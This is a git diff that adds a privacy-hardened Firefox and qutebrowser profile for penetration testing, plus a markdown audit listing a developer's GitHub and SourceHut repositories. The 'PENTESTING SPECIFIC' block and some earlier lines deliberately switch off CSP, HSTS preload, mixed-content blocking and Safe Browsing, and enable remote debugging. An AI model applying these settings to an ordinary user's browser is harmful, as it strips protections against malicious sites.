+user_pref("privacy.resistFingerprinting.block_mozAddonManager", true); // block addon manager fingerprinting +user_pref("webgl.disabled", true); // disable WebGL (fingerprint vector) +user_pref("media.navigator.enabled", false); // hide camera/mic enumeration +user_pref("dom.battery.enabled", false); // no battery API +user_pref("dom.event.clipboardevents.enabled", false); // no clipboard events +user_pref("dom.gamepad.enabled", false); // no gamepad API +user_pref("dom.vr.enabled", false); // no VR API +user_pref("dom.vibrator.enabled", false); // no vibration API +user_pref("dom.enable_performance", false); // no performance API +user_pref("dom.enable_resource_timing", false); // no resource timing API +user_pref("dom.maxHardwareConcurrency", 4); // spoof CPU count +user_pref("font.system.whitelist", ""); // restrict system fonts + +// === REFERRER POLICY === +user_pref("network.http.referer.XOriginPolicy", 2); // no cross-origin referrers +user_pref("network.http.referer.XOriginTrimmingPolicy", 2); // trim to scheme+host+port +user_pref("network.http.sendRefererHeader", 0); // never send referrer + +// === SAFE BROWSING (Google) -- disable phoning home === +user_pref("browser.safebrowsing.malware.enabled", false); // no Google safe browsing +user_pref("browser.safebrowsing.phishing.enabled", false); // no phishing check +user_pref("browser.safebrowsing.downloads.enabled", false); // no download check +user_pref("browser.safebrowsing.downloads.remote.enabled", false); // no remote download check +user_pref("browser.safebrowsing.downloads.remote.url", ""); // no remote URL + +// === DOWNLOADS === +user_pref("browser.download.useDownloadDir", false); // always ask where to save +user_pref("browser.download.manager.addToRecentDocs", false); // no recent docs + +// === FORMS / AUTOFILL === +user_pref("browser.formfill.enable", false); // no form history +user_pref("extensions.formautofill.addresses.enabled", false); // no address autofill +user_pref("extensions.formautofill.creditCards.enabled", false); // no credit card autofill +user_pref("signon.rememberSignons", false); // no password saving +user_pref("signon.autofillForms", false); // no password autofill +user_pref("signon.formlessCapture.enabled", false); // no formless capture + +// === DRM / PLUGINS === +user_pref("media.eme.enabled", false); // no DRM +user_pref("media.gmp-widevinecdm.enabled", false); // no Widevine +user_pref("media.gmp-manager.url", "data:text/plain,"); // no plugin manager + +// === PDF.js === +user_pref("pdfjs.disabled", true); // disable built-in PDF (attack surface) + +// === MISC HARDENING === +user_pref("dom.disable_window_move_resize", true); // no window manipulation +user_pref("dom.disable_open_during_load", true); // block popups during load +user_pref("dom.popup_allowed_events", "click dblclick mousedown pointerdown"); // strict popup events +user_pref("accessibility.force_disabled", 1); // disable accessibility services +user_pref("browser.helperApps.deleteTempFileOnExit", true); // clean temp files +user_pref("browser.pagethumbnails.capturing_disabled", true); // no page thumbnails +user_pref("browser.uitour.enabled", false); // no UI tours +user_pref("permissions.manager.defaultsUrl", ""); // no default permissions +user_pref("webchannel.allowObject.urlWhitelist", ""); // no webchannel +user_pref("permissions.delegation.enabled", false); // no permission delegation +user_pref("browser.contentblocking.category", "strict"); // strict content blocking + +// === DISK AVOIDANCE (reduce forensic footprint) === +user_pref("browser.cache.disk.enable", false); // no disk cache +user_pref("browser.privatebrowsing.forceMediaMemoryCache", true); // media to memory +user_pref("browser.sessionstore.privacy_level", 2); // no session store for any site +user_pref("browser.shell.shortcutFavicons", false); // no favicon cache +user_pref("browser.cache.memory.capacity", 65536); // 64MB memory cache max + +// === PENTESTING SPECIFIC === +user_pref("devtools.chrome.enabled", true); // enable browser console +user_pref("devtools.debugger.remote-enabled", true); // enable remote debugging +user_pref("devtools.inspector.showAllAnonymousContent", true); // show shadow DOM +user_pref("network.http.max-persistent-connections-per-proxy", 48); // more proxy connections +user_pref("network.http.max-persistent-connections-per-server", 12); // more server connections +user_pref("security.mixed_content.block_active_content", false); // allow mixed content (testing) +user_pref("security.mixed_content.block_display_content", false); // allow mixed display +user_pref("network.stricttransportsecurity.preloadlist", false); // disable HSTS preload (testing) +user_pref("security.csp.enable", false); // disable CSP (testing only) diff --git a/profiles/pentest/.config/qutebrowser/config.py b/profiles/pentest/.config/qutebrowser/config.py new file mode 100644 index 0000000000000000000000000000000000000000..22c63c8aa006e5e719fee51dec65516c534b0a23 --- /dev/null +++ b/profiles/pentest/.config/qutebrowser/config.py @@ -0,0 +1,122 @@ +# ============================================================================ +# qutebrowser Hardened config.py -- Pentesting + Privacy Profile +# Place in: ~/.config/qutebrowser/config.py +# ============================================================================ + +config.load_autoconfig(False) # ignore autoconfig, this file is authoritative + +# === CONTENT BLOCKING === +c.content.blocking.method = "both" # use both adblock methods +c.content.blocking.adblock.lists = [ # comprehensive blocklists + "https://easylist.to/easylist/easylist.txt", + "https://easylist.to/easylist/easyprivacy.txt", + "https://easylist.to/easylist/fanboy-social.txt", + "https://secure.fanboy.co.nz/fanboy-annoyance.txt", + "https://easylist-downloads.adblockplus.org/abp-filters-anti-cv.txt", + "https://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts&showintro=1&mimetype=plaintext", + "https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/filters.txt", + "https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/badware.txt", + "https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/privacy.txt", + "https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/resource-abuse.txt", +] +c.content.blocking.hosts.lists = [ # hosts-based blocking + "https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts", +] + +# === JAVASCRIPT === +c.content.javascript.enabled = False # JS off by default (whitelist per-domain) +# whitelist JS for specific domains: +# config.set("content.javascript.enabled", True, "*://github.com/*") +# config.set("content.javascript.enabled", True, "*://app.hackthebox.com/*") +# config.set("content.javascript.enabled", True, "*://tryhackme.com/*") + +# === COOKIES === +c.content.cookies.accept = "no-3rdparty" # block third-party cookies +c.content.cookies.store = False # session-only cookies + +# === WEBRTC (IP leak prevention) === +c.content.webrtc_ip_handling_policy = "disable-non-proxied-udp" # prevent IP leaks +c.content.webgl = False # disable WebGL fingerprinting + +# === CANVAS / FINGERPRINTING === +c.content.canvas_reading = False # block canvas fingerprinting +c.content.reading_order = False # no reading order detection + +# === HEADERS / REFERRER === +c.content.headers.referer = "same-domain" # only same-domain referrers +c.content.headers.do_not_track = True # send DNT header +c.content.headers.custom = { # custom headers + "https://*": { + "Accept-Language": "en-US,en;q=0.5", # generic accept-language + } +} +c.content.headers.user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" # spoof as Firefox + +# === DNS === +c.content.dns_prefetch = False # no DNS prefetching + +# === NOTIFICATIONS / PERMISSIONS === +c.content.notifications.enabled = False # block all notifications +c.content.geolocation = False # block geolocation +c.content.media.audio_capture = False # block microphone +c.content.media.video_capture = False # block camera +c.content.media.audio_video_capture = False # block both +c.content.autoplay = False # no autoplay + +# === PLUGINS / FEATURES === +c.content.plugins = False # no plugins +c.content.pdfjs = False # no built-in PDF viewer + +# === DOWNLOADS === +c.downloads.location.prompt = True # always ask download location +c.downloads.location.directory = "~/downloads" # download directory +c.downloads.remove_finished = 5000 # remove from list after 5s + +# === NETWORK / PROXY === +# Uncomment for Burp Suite proxy: +# c.content.proxy = "http://127.0.0.1:8080" +# Uncomment for Tor SOCKS5: +# c.content.proxy = "socks5://127.0.0.1:9050" +c.content.proxy = "system" # use system proxy by default + +# === TLS / SSL === +c.content.tls.certificate_errors = "ask-block-thirdparty" # ask on cert errors, block 3rd party + +# === CACHE / STORAGE === +c.content.cache.size = 52428800 # 50MB cache max +c.content.local_storage = False # disable localStorage by default + +# === COMPLETION / HISTORY === +c.completion.web_history.max_items = 0 # no web history in completion +c.completion.cmd_history_max_items = 100 # keep command history +c.history_gap_interval = -1 # no history gap detection + +# === URL / SEARCH === +c.url.start_pages = ["about:blank"] # blank start page +c.url.default_page = "about:blank" # blank default page +c.url.searchengines = { # search engines + "DEFAULT": "https://searxng.site/search?q={}", # SearXNG privacy search + "g": "https://www.google.com/search?q={}", + "ddg": "https://duckduckgo.com/?q={}", + "gh": "https://github.com/search?q={}", + "htb": "https://app.hackthebox.com/search?q={}", + "cve": "https://nvd.nist.gov/vuln/search/results?query={}&search_type=all", + "exploit": "https://www.exploit-db.com/search?q={}", + "gtfo": "https://gtfobins.github.io/#{}", + "shodan": "https://www.shodan.io/search?query={}", +} + +# === KEYBINDINGS (pentesting shortcuts) === +config.bind(",p", "set content.proxy http://127.0.0.1:8080") # toggle Burp proxy +config.bind(",P", "set content.proxy system") # back to system proxy +config.bind(",t", "set content.proxy socks5://127.0.0.1:9050") # toggle Tor +config.bind(",j", "set content.javascript.enabled true") # enable JS for current tab +config.bind(",J", "set content.javascript.enabled false") # disable JS +config.bind(",c", "set content.cookies.store true") # enable persistent cookies +config.bind(",C", "set content.cookies.store false") # session-only cookies +config.bind(",u", "spawn --userscript view-source") # view source +config.bind(",h", "devtools") # toggle devtools + +# === COLORS (dark theme) === +c.colors.webpage.preferred_color_scheme = "dark" # prefer dark mode +c.colors.webpage.darkmode.enabled = True # force dark mode diff --git a/repo-audit.md b/repo-audit.md new file mode 100644 index 0000000000000000000000000000000000000000..65f05c11fe2fbea8e74f80674203f93dc83e826e --- /dev/null +++ b/repo-audit.md @@ -0,0 +1,298 @@ +# Repository Audit: GitHub vs SourceHut + +Generated: 2026-06-04 + +Legend for the `Action` column -- fill in one of: +- `delete` -- remove from GitHub +- `move` -- move to SourceHut, then delete from GitHub +- `keep` -- keep on GitHub (not moving to srht) +- `archive` -- archive on GitHub +- `delete-gh` -- already on srht, delete GitHub copy +- `skip` -- no action needed + +--- + +## 1. Already on Both (48 repos) -- duplicates to clean up + +These exist on SourceHut AND GitHub. Mark which GitHub copies to delete. + +| Repo | Visibility | Fork? | Action | +|------|-----------|-------|--------| +| photos.krisyotam.com | PRIVATE | | | +| notes.krisyotam.com | PUBLIC | | | +| dwm | PUBLIC | | | +| edu.krisyotam.com | PRIVATE | | | +| content | PRIVATE | | | +| krisyotam.com | PRIVATE | | | +| st | PUBLIC | | | +| deep-research | PUBLIC | | | +| notebooks | PUBLIC | | | +| prompts | PUBLIC | | | +| plan9.krisyotam.com | PUBLIC | srht: krisyotam.net | | +| slash | PUBLIC | | | +| sponsors.krisyotam.com | PRIVATE | | | +| anki | PUBLIC | | | +| share | PUBLIC | | | +| tools | PUBLIC | | | +| whichisbetter | PUBLIC | srht: whichisbetter.dev | | +| ctfs | PUBLIC | | | +| cp | PUBLIC | | | +| srice | PRIVATE | | | +| project-100x | PRIVATE | srht: 100x | | +| ssc | PRIVATE | | | +| lofi | PRIVATE | | | +| krisyotam-mcp | PUBLIC | | | +| spod | PUBLIC | | | +| extensions | PUBLIC | | | +| llmfs | PUBLIC | FORK | srht: llm9p | | +| ssync | PRIVATE | | | +| sophia | PRIVATE | | | +| tabbed | PUBLIC | | | +| suploader | PRIVATE | | | +| sdiagram | PRIVATE | | | +| sbot | PUBLIC | | | +| sparser | PUBLIC | | | +| stask | PUBLIC | | | +| slipbox | PRIVATE | | | +| teaching | PUBLIC | | | +| til | PUBLIC | | | +| sframe | PUBLIC | | | +| surf | PUBLIC | | | +| sdeploy | PRIVATE | | | +| scron | PUBLIC | | | +| quark | PUBLIC | | | +| dwmblocks | PUBLIC | | | +| dmenu | PUBLIC | | | +| slock | PUBLIC | | | +| research | PUBLIC | | | +| brain | PRIVATE | | | + +--- + +## 2. SourceHut Only (13 repos) -- no GitHub copy + +These are only on SourceHut. No action needed unless you want GitHub mirrors. + +| Repo | Visibility | Action | +|------|-----------|--------| +| tutoring | PRIVATE | | +| notes | PRIVATE | | +| reports | PRIVATE | | +| deep-research-texts | PRIVATE | | +| kjv | PRIVATE | | +| zed-plan9 | PRIVATE | | +| sophiastart | PRIVATE | | +| models | PUBLIC | | +| ninetimes | PRIVATE | | +| pets | PUBLIC | | +| glenda | PUBLIC | | +| disco | PUBLIC | | +| 9hist | PUBLIC | | + +--- + +## 3. GitHub Only -- Owned Repos (87 repos) -- need decision + +These are YOUR repos on GitHub that have NOT been moved to SourceHut. + +### 3a. Sites / Subdomains + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| donlamar.com | PRIVATE | | | +| wiki.krisyotam.com | PRIVATE | LLM-compiled knowledge base | | +| tools.krisyotam.com | PUBLIC | tools.krisyotam.com | | +| dev.krisyotam.com | PUBLIC | | | +| cv.krisyotam.com | PUBLIC | | | +| ai.krisyotam.com | PRIVATE | wisdom implementation | | +| sales.donlamar.com | PRIVATE | | | +| leads.donlamar.com | PRIVATE | | | +| shop | PRIVATE | shop.krisyotam.com | | + +### 3b. Content / Reference Repos + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| poetry | PUBLIC | Collected verse | | +| essais | PUBLIC | An anthology of essays | | +| prayer | PUBLIC | Curated collection of prayers | | +| lecture-notes | PUBLIC | krisyotam.com/lecture-notes | | +| templates | PUBLIC | templates for krisyotam.com | | +| quran | PUBLIC | the quran for reference | | +| strongs | PUBLIC | hebrew & greek strongs | | +| oed | PUBLIC | Oxford English Dictionary | | +| 1611kjv | PUBLIC | 1611 bible in kjv format | | +| words | PUBLIC | | | +| lostpages | PRIVATE | Pages lost from krisyotam.com | | +| readinglog | PRIVATE | | | + +### 3c. Archives / Copies / Mirrors + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| matuschak-notes | PRIVATE | Archive of Andy Matuschak's working notes | | +| matuschak-media | PRIVATE | Collected public writings of Andy Matuschak | | +| gwern-clippings | PRIVATE | Gwern's Evernote clippings | | +| umt-copy | PRIVATE | Archive of Uriah Marc Todoroff's writing | | +| bactra-copy | PRIVATE | | | +| simonwillison-copy | PRIVATE | | | +| lukesmith-copy | PRIVATE | | | +| gwern-copy | PRIVATE | | | +| evergreen-mine | PRIVATE | | | +| castel.dev | PUBLIC | full clone of castel.dev | | +| leurenmoret | PUBLIC | Mirror of Leuren Moret's website | | +| leurenmoret-modern | PUBLIC | Modern Next.js rebuild of leurenmoret.info | | +| cicada3301 | PUBLIC | Complete Cicada 3301 archive | | +| usenet | PUBLIC | Suckless Usenet newsgroup archive viewer | | +| usenet-mine | PRIVATE | Mining digest of old Usenet archives | | +| viruses | PUBLIC | malware archive for security research | | + +### 3d. Suckless / Plan 9 / Linux + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| nvim | PUBLIC | Kris's build of neovim | | +| dotfiles | PUBLIC | Gentoo dotfiles managed with GNU stow | | +| kristoo | PUBLIC | gentoo installation script | | +| 9kris | PUBLIC | plan 9 distribution setup | | +| karbs | PUBLIC | auto ricing bootstrapping scripts | | +| lazykris | PRIVATE | automated installer for arch rice (DEPRECATED) | | +| pi | PRIVATE | plan 9 / acme themed | | + +### 3e. Tools / Projects + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| krisyotam | PUBLIC | $ whoami (profile README) | | +| kris | PUBLIC | Assorted experiments, utilities | | +| scripts | PUBLIC | Standalone scripts and utilities | | +| sse-archiver | PUBLIC | Simple Stack Exchange Archiver | | +| sumtex | PUBLIC | A mathematics game | | +| MindMath | PUBLIC | customizable mental math practice | | +| display3d | PUBLIC | CLI to display 3D objects | | +| automation | PUBLIC | my automation scripts | | +| otter | PRIVATE | selfhosted private bookmarks | | +| krisrss | PUBLIC | | | +| rss | PUBLIC | my rss feed | | +| bactra | PUBLIC | | | +| 88x31 | PRIVATE | | | + +### 3f. Sophia / AI + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| sophia-skills | PRIVATE | | | +| sophia-harness | PRIVATE | | | +| Wisdom | PRIVATE | Advanced AI Assistant | | +| project-omniscient | PRIVATE | Distill YouTube transcripts | | +| claude-plugins | PRIVATE | | | +| prompt-recovery | PRIVATE | | | + +### 3g. Trading / Business + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| minerva | PRIVATE | c++ systematic trading platform | | +| kyotam | PRIVATE | business intro site | | +| portfolio | PRIVATE | dev.krisyotam.com | | +| academia | PRIVATE | academic cv | | + +### 3h. Security / Legacy (from imkhr1st) + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| thekrispages | PRIVATE | The Kris Pages (from imkhr1st) | | +| BypassWin11 | PRIVATE | Windows 11 TPM/SecureBoot bypass | | +| terraria-files | PRIVATE | Terraria game files archive | | +| kris-payloads-xfer | PRIVATE | Payload transfer archive | | + +### 3i. Misc / Private + +| Repo | Visibility | Description | Action | +|------|-----------|-------------|--------| +| form-study | PRIVATE | | | +| reviews-maggie | PRIVATE | | | +| homelab | PRIVATE | STARGATE homelab infrastructure | | +| papers | PRIVATE | Personal academic paper library | | +| new-mac | PUBLIC | Checklists for new Mac | | +| mathblog | PRIVATE | hyper-minimalist math blog | | +| idea-creation | PRIVATE | Idea creation and project blueprints | | +| lab | PRIVATE | | | +| krissecrets | PRIVATE | | | +| gpt4o-farewell | PRIVATE | | | +| backup | PRIVATE | | | +| leuren-moret | PRIVATE | backup of leuren moret's site | | +| auth_scripts | PRIVATE | | | +| getridoff | PRIVATE | Ideas, works, reflections | | +| gitserver | PRIVATE | demo frontend for self-hosted gitserver | | +| filemanagerpro | PRIVATE | FileManagerPro C project | | + +--- + +## 4. GitHub Only -- Forks (23 repos) + +Forks on GitHub that are NOT on SourceHut. Decide: keep, delete, or move. + +| Repo | Description | Action | +|------|-------------|--------| +| 9lab | 9Front collection of programs, scripts, and notes | | +| 9x | NEIN NEIN NEIN (Plan 9 related) | | +| Shadowbroker | Open-source intelligence platform | | +| cal.diy | Scheduling infrastructure | | +| onelink | link-in-bio tool | | +| icons | Icon Explorer powered by Iconify | | +| devdocs | API Documentation Browser | | +| status | Automated status page | | +| claude-devtools | | | +| gentoo-install | A gentoo installer with TUI | | +| aunix | Simple Distro installer | | +| chatbot | Next.js AI chatbot by Vercel | | +| gossa | fast multimedia fileserver | | +| invertornot | API for dark-mode image inversion | | +| gwern.net | Site infrastructure for gwern.net | | +| xnap | suckless screenshot utility | | +| LazyVim | Neovim config for the lazy | | +| caligula | TUI for disk imaging | | +| sxwm | Kris's build of sxwm | | +| schwab-mcp | Schwab MCP server | | +| NextFaster | performant e-commerce template | | +| chatgpt-viewer | | | +| bigfive-web | Website for personality tests | | + +--- + +## 5. Archived on GitHub (15 repos) + +Already archived. Decide: delete, keep archived, or move to srht. + +| Repo | Description | On srht? | Action | +|------|-------------|----------|--------| +| slides | | no | | +| orders | | no | | +| slashpages | | no | | +| wba | | no | | +| bio | | no | | +| emails | | no | | +| playlist | | YES | | +| hackthebox | HackTheBox writeups | no | | +| tryhackme | TryHackMe room notes | no | | +| euler | project euler solutions | no | | +| atcoder | atcoder solutions | no | | +| codeforces | codeforces solutions | no | | +| leetcode | leetcode solutions | no | | +| hackerrank | hackerrank solutions | no | | +| codewars | codewars kata solutions | no | | + +--- + +## Summary + +| Category | Count | +|----------|-------| +| On both (duplicates) | 48 | +| SourceHut only | 13 | +| GitHub only (owned) | 87 | +| GitHub only (forks) | 23 | +| GitHub archived | 15 | +| **Total GitHub repos** | **173** | +| **Total SourceHut repos** | **62** |